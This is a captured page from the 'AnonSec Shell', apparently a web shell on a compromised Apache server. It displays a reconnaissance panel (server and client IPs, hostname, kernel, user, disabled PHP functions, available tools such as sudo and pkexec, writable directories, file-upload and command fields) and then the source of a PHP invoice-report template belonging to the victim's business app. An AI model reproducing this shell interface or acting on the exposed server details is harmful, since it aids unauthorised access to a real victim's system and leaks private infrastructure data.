AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.139
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/mundotennis/application/lib/invoices/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/mundotennis/application/lib/invoices/report-product-pdf.php
<html>
    <head>
        <style>

            * { margin: 0; padding: 0; }
            body {
                font: 9px/0.9  dejavusanscondensed;
            }

            #page-wrap { width: 1000px; margin: 0 auto; }

            table { border-collapse: collapse; }
            table td, table th { border: 0.5px solid black; padding: 5px; text-align:center;}
            table .semborda td, table .semborda th { border: 0 solid black; padding: 5px; }

            #customer { overflow: hidden; }

            #logo { text-align: right; float: right; position: relative; margin-top: 25px; border: 1px solid #fff; max-width: 540px; overflow: hidden; }

            #meta { margin-top: 1px; width: 100%; float: right; }
            #meta td { text-align: right;  }
            #meta td.meta-head { text-align: left; background: #eee; }
            #meta td textarea { width: 100%; height: 20px; text-align: right; }

            #items { clear: both; width: 100%; margin: 30px 0 0 0; border: 1px solid black; }
            #terms { text-align: left; margin: 20px 0 0 0; }
            #terms h5 { text-transform: uppercase; font: 13px <?php echo $config['pdf_font']; ?>; letter-spacing: 10px; border-bottom: 1px solid black; padding: 0 0 8px 0; margin: 0 0 8px 0; }
            #terms textarea { width: 100%; text-align: center;}

        </style>

    </head>

    <body style="font-family:dejavusanscondensed">

        <div id="page-wrap">

            <table width="100%" >
                <tr>
                    <td style="border: 0;text-align: left" width="50%">
                          <img id="image"  src="<?php echo APP_URL; ?>/application/storage/system/logo.png" alt="logo" />
                    </td>

                    <td style="border: 0;  text-align: right" width="50%">
                        <div id="logo" style="font-size:18px">
                            <?php echo $config['caddress']; ?>
                        </div>
                    </td>
                </tr>
                <tr>
                    <td style="border: 0;  text-align: left" width="50%">
                        Filtros:
                        <br/> Cliente: <?= $nomeContato ?>
                        <br/> Situa&ccedil;&atilde;o: <?php
                        if (isset($_SESSION['filter_report_invoice_situation'])) {
                            echo $_L[$_SESSION['filter_report_invoice_situation']];
                        }
                        ?>
                        <br/> Per&iacute;odo: 
                        <?php
                        if ($_SESSION['filter_report_invoice_period'] == 'day')
                            echo $_L['In day'];
                        else if ($_SESSION['filter_report_invoice_period'] == 'week')
                            echo $_L['In week'];
                        else if ($_SESSION['filter_report_invoice_period'] == 'month')
                            echo $_L['In month'];
                        else {
                            if (!empty($_SESSION['filter_report_invoice_period_ini'])) {
                                $where .= " AND s.duedate >='" . date('Y-m-d', strtotime($_SESSION['filter_report_invoice_period_ini'])) . "'";
                                $filter['filter_report_invoice_period_ini'] = $_SESSION['filter_report_invoice_period_ini'];
                                echo "d/m/Y " . date('Y-m-d', strtotime($_SESSION['filter_report_invoice_period_ini']));
                            }
                            if (!empty($_SESSION['filter_report_invoice_period_end'])) {
                                echo "Data Final " . date('d/m/Y', strtotime($_SESSION['filter_report_invoice_period_end']));
                            }
                        }
                        ?>
                    </td>


                </tr>


            </table>
            <?php if(isset($_GET['full']) && $_GET['full']=='true'){?>
            <hr>
            <div style="clear:both"></div>

            <table width="100%">
                <thead>
                    <tr>
                        <th  width="10%"><?= $_L['Invoice']?></th>
                        <th><?= $_L['Customer'] ?></th>
                        <th width="10%"><?= $_L['Invoice Date'] ?></th>
                        <th width="10%"><?= $_L['Due Date'] ?></th>
                        <th width="10%"><?= $_L['Status'] ?></th>
                        <th width="10%"><?= $_L['Item Name'] ?></th>
                        <th width="10%"><?= $_L['Qty'] ?></th>
                        <th width="10%"><?= $_L['Price'] ?></th>
                        <th width="10%"><?= $_L['Total'] ?></th>
                    </tr>
                </thead>
                <tbody>

<?php foreach ($d as $ds) {?>
                        <tr >
                            <td> <?=$ds['id']?>  </td>
                            <td><?=$ds['account']?> </td>
                            <td><?=date( $_c['df'], strtotime($ds['date']))?></td>
                            <td><?=date( $_c['df'], strtotime($ds['duedate']))?></td>
                            <td>

                                <?php if ($ds['status'] == 'Unpaid'){ ?>
                                    <span class="label label-danger"><?=ib_lan_get_line($ds['status'])?></span>
                                <?php } elseif ($ds['status'] == 'Paid'){ ?>
                                    <span class="label label-success"><?=ib_lan_get_line($ds['status'])?></span>
                                <?php } elseif ($ds['status'] == 'Partially Paid'){ ?>
                                    <span class="label label-info"><?=ib_lan_get_line($ds['status'])?></span>
                                <?php } elseif ($ds['status'] == 'Cancelled'){ ?>
                                    <span class="label"><?=ib_lan_get_line($ds['status'])?></span>
                                <?php } else { 
                                    echo ib_lan_get_line($ds['status']);
                                } ?>
                            </td>
                            <td><?=$ds['description']?></td>
                            <td><?=$ds['qty']?></td>
                            <td class="amount"><?=$ds['amount']?></td>
                            <td class="amount"><?=$ds['total']?></td>
                        </tr>
                        <?php } ?>

                    <!-- 
					<tr>
                        <td colspan='8' style="text-align: right">
                            <b> Total: <?=ib_money_format($total_value_invoice, $config, $_c['currency_symbol'])?> </b>
                        </td> 
                    </tr>
					-->
                </tbody>
               
            </table>            
            <br/><br/>
            <?php } ?>
<?php if (count($d_products)>0){ ?>
    <table class="semborda" width="100%">
        <caption>Resumo</caption>
        <thead>
            <tr>
                <th ><?= $_L['Product'] ?></th>
                <th  ><?= $_L['Qty'] ?></th>
            </tr>
        </thead>
        <tbody>
                <?php 
                $total = 0;
                foreach ($d_products as $key => $value) { 
                $total += $value;
                ?>
                <tr>
                    <td><?= $key ?></td>
                    <td><?= $value ?></td>
                </tr>
                <?php } ?>
                <tr>
                    <td><?= $_L['Total'] ?></td>
                    <td><?= $total ?></td>
                </tr>
        </tbody>
    </table>
<?php } ?>

<br/><br/>

</div>

    </body>

</html>

Anon7 - 2022
AnonSec Team